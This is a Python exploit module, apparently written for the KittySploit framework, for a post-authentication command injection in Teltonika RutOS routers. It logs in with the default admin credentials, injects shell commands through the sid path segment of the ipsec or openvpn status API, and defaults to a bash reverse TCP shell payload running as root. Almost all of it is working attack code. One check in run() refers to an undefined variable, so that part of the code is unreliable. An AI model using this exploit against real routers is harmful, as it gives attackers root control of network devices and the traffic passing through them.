Teltonika RutOS ipsec status logread command injection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Teltonika RutOS ipsec.lua instances_status() logread command injection (CWE-78)."""

import re
import subprocess
from urllib.parse import quote

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Handler, Exploit, Http_client):
    __info__ = {
        "name": "Teltonika RutOS ipsec status logread command injection",
        "description": (
            "Post-authentication OS command injection in Teltonika RutOS 00.07.06.21 "
            "(RUT2XX / RUT200; RUT9XX byte-identical ipsec.lua). GET "
            "/api/ipsec/status/<sid> passes the URL-decoded sid into "
            "logread -e '<sid>-<sid>_c|' without shell quoting; vuci.util.exec runs "
            "/bin/sh -c and returns stdout in JSON .data.logs (reflective RCE as root). "
            "Sibling sink: openvpn.lua logread -e %s (bare semicolon breakout)."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.LINUX,
        "arch": [Arch.MIPS, Arch.ARM],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "",
        ],
        "tags": [
            "teltonika",
            "rutos",
            "router",
            "iot",
            "ipsec",
            "openvpn",
            "command-injection",
            "authenticated",
            "rce",
            "hardware",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 3,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "rce"],
            "cost": 1.5,
            "noise": 0.6,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["teltonika", "rutos"],
                "endpoint_pattern_any": ["/api/ipsec/status/", "/api/login"],
                "auth_session": True,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "ipsec status logread injection"},
                    {"capability": "shell", "from_detail": "framework reverse_tcp session"},
                ],
                "consumes_capabilities": [
                    {"capability": "auth_session", "from_detail": "VuCI JWT / ubus session"},
                ],
                "suggested_followups": [
                    "scanner/http/teltonika_rutos_ipsec_status_logread_rce_detect",
                    "post/shell/multi/gather/privesc_suggester",
                ],
            },
        },
    }

    _SINKS = ("ipsec", "openvpn")
    _UID_RE = re.compile(r"uid=\d+\([^\)]+\)\s+gid=\d+\([^\)]+\)")

    port = OptPort(80, "RutOS web management port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=True)
    username = OptString(
        "admin01",
        "Web UI username (firmware default; force-changed at first login)",
        required=True,
    )
    password = OptString("admin01", "Web UI password", required=True)
    sink = OptEnum(list(_SINKS), "Vulnerable Lua sink to mirror", required=False, default="ipsec")
    local_verify = OptBool(
        False,
        "Self-contained sink verification via /bin/sh -c (no device required)",
        required=False,
        advanced=True,
    )

    @staticmethod
    def _build_sink_command(sid: str, sink_variant: str = "ipsec") -> str:
        if sink_variant == "ipsec":
            return "logread -e '<" + sid + "-" + sid + "_c|'"
        return "logread -e " + sid

    @staticmethod
    def _make_payload_sid(cmd: str, sink_variant: str = "ipsec") -> str:
        if "/" in cmd:
            raise ValueError(
                "command must not contain '/' (route regex [^/]* captures sid as one "
                "path segment; URL-encode slashes as %2F or use a slash-free command)"
            )
        if sink_variant == "openvpn":
            return ";" + cmd + ";echo "
        return "';" + cmd + ";echo '"

    @staticmethod
    def _api_status_path(sink_variant: str, encoded_sid: str) -> str:
        service = "ipsec" if sink_variant == "ipsec" else "openvpn"
        return f"/api/{service}/status/{encoded_sid}"

    def _resolve_command(self) -> str:
        custom = str(self.shell_from_payload() or "").strip()
        if custom:
            return custom
        raw = self.payload
        if isinstance(raw, bytes):
            return raw.decode("utf-8", errors="replace")
        return str(raw or "").strip()

    def _login(self) -> str:
        user = str(self.username or "").strip()
        pwd = str(self.password or "")
        if not user or not pwd:
            raise ValueError("username and password are required")

        body = {"username": user, "password": pwd}
        print_info(f"Authenticating as {user!r} via /api/login ...")
        response = self.http_request(
            method="POST",
            path="/api/login",
            json=body,
            headers={"Content-Type": "application/json", "Accept": "application/json"},
            timeout=max(int(self.timeout or 15), 15),
        )
        token = self._extract_token(response)
        if token:
            print_success("Session token obtained via /api/login")
            return token

        print_warning("/api/login did not return a token — trying /api/jwt_login")
        response = self.http_request(
            method="POST",
            path="/api/jwt_login",
            json=body,
            headers={"Content-Type": "application/json", "Accept": "application/json"},
            timeout=max(int(self.timeout or 15), 15),
        )
        token = self._extract_token(response)
        if token:
            print_success("JWT obtained via /api/jwt_login")
            return token

        status = response.status_code if response else "no response"
        body_preview = (response.text or "")[:200] if response else ""
        raise RuntimeError(f"login failed: HTTP {status} {body_preview}")

    @staticmethod
    def _extract_token(response) -> str:
        if not response or int(getattr(response, "status_code", 0) or 0) != 200:
            return ""
        try:
            data = response.json()
        except Exception:
            return ""
        if not isinstance(data, dict):
            return ""
        nested = data.get("data") if isinstance(data.get("data"), dict) else {}
        return str(
            nested.get("ubus_rpc_session")
            or nested.get("token")
            or data.get("ubus_rpc_session")
            or data.get("token")
            or ""
        ).strip()

    def _exec_remote(self, cmd: str, sink_variant: str) -> tuple[bool, str]:
        sid = self._make_payload_sid(cmd, sink_variant)
        encoded_sid = quote(sid, safe="")
        path = self._api_status_path(sink_variant, encoded_sid)

        token = self._login()
        print_status(f"GET {path}")
        response = self.http_request(
            method="GET",
            path=path,
            headers={
                "Authorization": "Bearer " + token,
                "Accept": "application/json",
            },
            timeout=max(int(self.timeout or 15), 15),
        )
        if not response:
            return False, ""

        logs = self._extract_logs(response)
        status = int(response.status_code or 0)
        print_info(f"HTTP {status}")
        if logs:
            return True, logs
        return status == 200, (response.text or "")[:500]

    @staticmethod
    def _extract_logs(response) -> str:
        try:
            data = response.json()
        except Exception:
            return ""
        if not isinstance(data, dict):
            return ""
        nested = data.get("data") if isinstance(data.get("data"), dict) else {}
        return str(nested.get("logs") or data.get("logs") or "").strip()

    def _verify_local(self, cmd: str, sink_variant: str) -> bool:
        sid = self._make_payload_sid(cmd, sink_variant)
        sink_cmd = self._build_sink_command(sid, sink_variant)
        print_status(f"=== RutOS {sink_variant}.lua command-injection self-verification ===")
        print_info(f"crafted sid        : {sid}")
        print_info(f"exact sink command : {sink_cmd}")
        print_info(f"attacker command   : {cmd}")
        print_info("exec via /bin/sh -c:")

        proc = subprocess.Popen(
            ["/bin/sh", "-c", sink_cmd],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
        )
        out, err = proc.communicate()
        out_s = out.decode("utf-8", errors="replace")
        err_s = err.decode("utf-8", errors="replace")

        print_status("--- captured stdout (== device JSON .logs field) ---")
        print(out_s if out_s.strip() else "(empty)")
        if err_s.strip():
            print_status("--- stderr ---")
            print(err_s)

        template_artifacts = {"", "-", "_c|"}
        real_lines = [ln for ln in out_s.splitlines() if ln not in template_artifacts]
        reflected = len(real_lines) >= 1
        if reflected:
            print_success(
                "CONFIRMED: arbitrary command executed and reflected "
                "(output appears in the device JSON .logs field)."
            )
        else:
            print_error(f"not reflected (check that '{cmd}' produces stdout)")
        return reflected

    def execute(self, cmd: str) -> str:
        sink_variant = str(self.sink or "ipsec").strip().lower()
        if self.local_verify:
            ok = self._verify_local(cmd, sink_variant)
            return cmd if ok else ""
        ok, logs = self._exec_remote(cmd, sink_variant)
        return logs if ok else ""

    def check(self):
        sink_variant = str(self.sink or "ipsec").strip().lower()
        if self.local_verify:
            ok = self._verify_local("id", sink_variant)
            return {
                "vulnerable": ok,
                "reason": "Local sink verification confirmed injection mechanism" if ok
                else "Local sink verification did not reflect command output",
                "confidence": "high" if ok else "low",
            }

        try:
            ok, logs = self._exec_remote("id", sink_variant)
        except (ValueError, RuntimeError) as exc:
            return {"vulnerable": False, "reason": str(exc), "confidence": "low"}

        if ok and self._UID_RE.search(logs):
            match = self._UID_RE.search(logs)
            return {
                "vulnerable": True,
                "reason": f"Command injection confirmed: {match.group(0)}",
                "confidence": "high",
            }
        if ok and "uid=" in logs:
            return {
                "vulnerable": True,
                "reason": "Command injection likely (uid= present in .logs)",
                "confidence": "medium",
            }
        return {
            "vulnerable": False,
            "reason": "Injection probe did not return uid output in .logs",
            "confidence": "medium",
        }

    def run(self):
        sink_variant = str(self.sink or "ipsec").strip().lower()
        try:
            cmd = self._resolve_command()
        except Exception as exc:
            print_error(str(exc))
            return False

        if not shell:
            print_error("Set command or a payload")
            return False

        try:
            self._make_payload_sid(cmd, sink_variant)
        except ValueError as exc:
            print_error(str(exc))
            return False

        print_warning(
            "Authorized testing only — post-authentication root RCE on RutOS web UI."
        )

        if self.local_verify:
            ok = self._verify_local(cmd, sink_variant)
            if ok:
                self.vulnerable()
            else:
                self.not_vulnerable()
            return ok

        try:
            ok, logs = self._exec_remote(cmd, sink_variant)
        except (ValueError, RuntimeError) as exc:
            print_error(str(exc))
            self.not_vulnerable()
            return False

        print_status("=== reflected command output (response .logs) ===")
        print(logs if logs else "(empty)")

        if ok and logs:
            print_success("Command executed — output reflected in .logs")
            self.vulnerable()
            if str(self.shell_from_payload() or "").strip() and self._UID_RE.search(logs):
                print_success("Reflective execution — opening handler session")
                return True
            print_success("Payload dispatched — waiting for reverse handler session")
            return True

        print_error("Exploit did not return expected output")
        self.not_vulnerable()
        return False